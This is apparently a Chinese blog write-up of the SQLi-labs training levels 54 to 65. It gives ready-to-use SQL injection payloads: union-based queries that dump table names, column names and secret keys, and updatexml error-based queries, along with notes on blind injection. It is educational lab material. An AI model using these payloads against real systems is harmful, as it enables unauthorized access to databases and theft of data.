SQLI labs 靶场笔记之进阶挑战 54-65 关

进阶挑战 54-65 关

Less-54

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id='$id'

简单源码分析:

if reset:
    # 根据时间戳生成 cookie
    setcookie('challenge', ' ', time() - 3600000);

else:
    if cookie 中有 challenge:
        $sessid=$_COOKIE['challenge'];
    else:
        # 生成 cookie 
        $expire = time()+60*60*24*30;
        $hash = data($table,$col);
        setcookie("challenge", $hash, $expire);
    if $_GET['id']:
        计数器 + 1
        $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    if 有查询成功:
        输出查询信息
    else:
        啥都不输出

# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";

代码中可以分享出,得让我们在 10 次注入测试中拿到 key 值。看了源码可以直接联合查询,10 次以内拿到 key 感觉问题不大,那么尝试看看吧:

判断闭合方式

?id=1'--+

判断字段数

?id=1' order by 3--+
?id=1' order by 4--+

查询有可注入的字段

?id=-1' union select 1,2,3 --+

字段数 2,3

查询表名

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

表名为:bplubnri6m,这个表名可能是随机的 不同用户不一样

查询列名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='bplubnri6m') --+

查到列名如下:id,sessid,secret_0UH9,tryy

查询字段值

?id=-1' union select 1,2,(select group_concat(secret_0UH9) from bplubnri6m) --+

拿到 key 值为:Vbf3WpKCBvu8s4rnCTEeWcPa

总共只需要 6 步,其中在判断字段数这里有不确定性,理论上 10 步以内是可以正常注入出来的。

Less-55

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=($id)

Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化,这里不再赘述。

Less-56

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=('$id')

和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54

Less-57

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id="$id"

和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54

Less-58

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id='$id'

Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:

$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];

因为这里输出只输出 $unames$pass 数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:

print_r(mysql_error());

所以这里就可以进行报错注入,下面直接丢 payload 吧:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ 

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='k4xoowbia1'),0x7e),1)--+ 

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_D5OR) from k4xoowbia1),0x7e),1)--+ 

这里我注入的表名为:k4xoowbia1,列名为:secret_D5OR

Less-59

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=$id

与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58

Less-60

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=("$id")

与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58

Less-61

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=(('$id'))

与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58

Less-62

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id=('$id')

此时报错也取消了,这里只能进行布尔盲注或者延时盲注了,对于盲注强烈建议使用脚本,人工太慢,在实战工程中还是靠 sqlmap 这种自动化注入神器或者自己写脚本了,手工注入的话岂不是得天荒地老。

Less-63

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id='$id'

与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

Less-64

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id=(($id))

与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

Less-65

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id=("$id")

与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

参考资料


本文作者: iceH
本文链接: http://www.secice.cn/p/32046ada
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!